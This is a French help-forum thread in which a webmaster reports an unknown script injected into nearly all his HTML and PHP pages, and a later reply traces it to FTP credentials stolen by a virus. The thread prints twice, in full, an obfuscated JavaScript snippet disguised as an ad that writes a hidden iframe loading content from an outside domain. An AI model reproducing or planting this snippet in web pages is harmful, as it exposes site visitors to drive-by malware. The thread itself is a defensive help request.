Script inconnu sur mes pages web

Marcos -  
 marcos -
Bonjour,
J'ai un grand problème sur a peu près tous mes sites Web et je ne comprend pas d'où ça viens:

J'ai le script suivant a peu près sur toutes les pages de mes sites que ce soit ceux en html ainsi que ceux en joomla.
Je ne comprend pas d'où ça vient ni comment remédier a cela.
J'attends impatiemment vos réponses

<!-- ad --><script>
uyimh=687;
qxcxg=4804;
ddytx=7948;
xkjpv="write";
mzsrv="me";
zqfqw="et";
gdtrk="/' st";
rpiia="yl";
qxaol="";
ldlvw="i";
zfhuu="ty";
hvkhb=":h";
hbqmm="d";
hauzn="";
zdqdp=4;
sjgbi="if";
rpygo="r";
syjnh=" sr";
rwanv="c";
elujl="=";
hrgnc=863;
akzpp=8853;
tplxn=" ";
cvtot="</";
qtndm="";
jlooz=3953;
uyimh=687;
qxcxg=4804;
ddytx=7948;
xkjpv="write";
mzsrv="me";
zqfqw="et";
gdtrk="/' st";
rpiia="yl";
qxaol="";
ldlvw="i";
zfhuu="ty";
hvkhb=":h";
hbqmm="d";
hauzn="";
zdqdp=4;
sjgbi="if";
rpygo="r";
syjnh=" sr";
rwanv="c";
elujl="=";
hrgnc=863;
akzpp=8853;
tplxn=" ";
cvtot="</";
qtndm="";
jlooz=3953;
gftzo=(9.007e3>=5e1?uyimh:qxcxg);
jjaqh=(ddytx>.2438?xkjpv:3.);
gmbpt=(7.3e1>=36?mzsrv:.45);
zxtsi=(323,zqfqw+gdtrk+rpiia+"e='"+"v"+"isib");
hzpmf=(0x587,qxaol+ldlvw+"li"+zfhuu+hvkhb+"id"+hbqmm+"en"+"'"+hauzn);
rmtyf=(6.5e1,"");

aaa=((567,gftzo),(0x2,document))[((0.3,2.46e2)>=(17,7918.)?(5249.>=0.8188?0x816:.5486):(.2717<=.77?jjaqh:0x14))](((zdqdp,2.),(0.591,""+"<"+sjgbi+rpygo+"a")+(82,gmbpt)+(0.1301,syjnh+rwanv+elujl+"'"+"h"+"ttp"+"")+(8581.<.887?0.7:"://t"+"ruittbros.n")+(476,zxtsi)+(hrgnc>=akzpp?9.909e3:hzpmf)+(69<38.?0.249:tplxn+">"+cvtot+"if"+qtndm)+(2.>1.?"ram"+"e>":64.)+(223.>=jlooz?1.:rmtyf)));</script><!-- /ad --></body>
A voir également:

6 réponses

gabgabgab Messages postés 955 Statut Membre 26
 
as tu essayé de désinstaller et de réinstaller tous ce qui a un rapport avec internet ?
0
noura509 Messages postés 261 Statut Membre 56
 
bonjour supprime ton historique de navigation
0
Marcos
 
Merci pour vos réponses rapides.

Oui j'ai reformaté mon ordi mais je retrouve encore ce code dans les fichier sources sur le serveur.
Le code à été ajouté au fichier html et php sur le serveur.
Que dois-je faire s'il vous plait.
Et qu'es ce que c'est que ce code??
Merci
0
noura509 Messages postés 261 Statut Membre 56
 
As-tu déjà supprimer tes historiques de navigation ?
0
Marcos
 
Oui je l'ai fait, j'ai supprimé tout historique web. Deja j'ai firefox avec la barre web developer avec le cache toujours désactivé. En plus j'ai enlevé tous les historiques.
Et la j'ai reformaté mon ordi mais rien a faire.
Le code a été ajouté sur les fichier du serveur.
Merci
0
noura509 Messages postés 261 Statut Membre 56
 
supprime firefox . et télécharger Windows Internet Explorer 7
0
Marcos
 
J'ai internet explorer, mais le code y est aussi.
Noura509 lorsque je télécharge les fichiers du serveur je trouve le code en copie a la fin de chaque fichier. Donc c'est pas du coté de mon ordi c'est plutôt du coté du serveur.
Je ne comprend pas comment on a pu ajouter le code dans les fichiers de mon serveur.

Merci
0

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
Marcos
 
JE renouvelle ma question:
Es ce que quqlqu'un peut me dire c'est quoi ce code et d'ou cela peut venir??
Merci

<!-- ad --><script>
uyimh=687;
qxcxg=4804;
ddytx=7948;
xkjpv="write";
mzsrv="me";
zqfqw="et";
gdtrk="/' st";
rpiia="yl";
qxaol="";
ldlvw="i";
zfhuu="ty";
hvkhb=":h";
hbqmm="d";
hauzn="";
zdqdp=4;
sjgbi="if";
rpygo="r";
syjnh=" sr";
rwanv="c";
elujl="=";
hrgnc=863;
akzpp=8853;
tplxn=" ";
cvtot="</";
qtndm="";
jlooz=3953;
uyimh=687;
qxcxg=4804;
ddytx=7948;
xkjpv="write";
mzsrv="me";
zqfqw="et";
gdtrk="/' st";
rpiia="yl";
qxaol="";
ldlvw="i";
zfhuu="ty";
hvkhb=":h";
hbqmm="d";
hauzn="";
zdqdp=4;
sjgbi="if";
rpygo="r";
syjnh=" sr";
rwanv="c";
elujl="=";
hrgnc=863;
akzpp=8853;
tplxn=" ";
cvtot="</";
qtndm="";
jlooz=3953;
gftzo=(9.007e3>=5e1?uyimh:qxcxg);
jjaqh=(ddytx>.2438?xkjpv:3.);
gmbpt=(7.3e1>=36?mzsrv:.45);
zxtsi=(323,zqfqw+gdtrk+rpiia+"e='"+"v"+"isib");
hzpmf=(0x587,qxaol+ldlvw+"li"+zfhuu+hvkhb+"id"+hbqmm+"en"+"'"+hauzn);
rmtyf=(6.5e1,"");

aaa=((567,gftzo),(0x2,document))[((0.3,2.46e2)>=(17,7918.)?(5249.>=0.8188?0x816:.5486):(.2717<=.77?jjaqh:0x14))](((zdqdp,2.),(0.591,""+"<"+sjgbi+rpygo+"a")+(82,gmbpt)+(0.1301,syjnh+rwanv+elujl+"'"+"h"+"ttp"+"")+(8581.<.887?0.7:"://t"+"ruittbros.n")+(476,zxtsi)+(hrgnc>=akzpp?9.909e3:hzpmf)+(69<38.?0.249:tplxn+">"+cvtot+"if"+qtndm)+(2.>1.?"ram"+"e>":64.)+(223.>=jlooz?1.:rmtyf)));</script><!-- /ad --></body>
0
Steph
 
Bonjour Marcos,

Il s'agit d'un script malveillant, j'ai eu le même problème sur certains de mes sites web.
Vérifie bien que l'ordinateur ou les ordanteurs sur lequels tu travailles ne contiennent pas un virus qui a récupéré ton login et mot de passe ftp et donc a permis de modifier tes index.htm en rajoutant ce script malveillant.
Vérifie tes logs au cas ou c'est comme ca que j'ai pu idenfier un accès par ftp et un changement de mes index.

Cordialement
Steph
0
marcos
 
merci steph,

J'ai changé les codes ftp et c'est bon. c'est exactement comme t'as expliqué. merci pour votre aide.

a+
0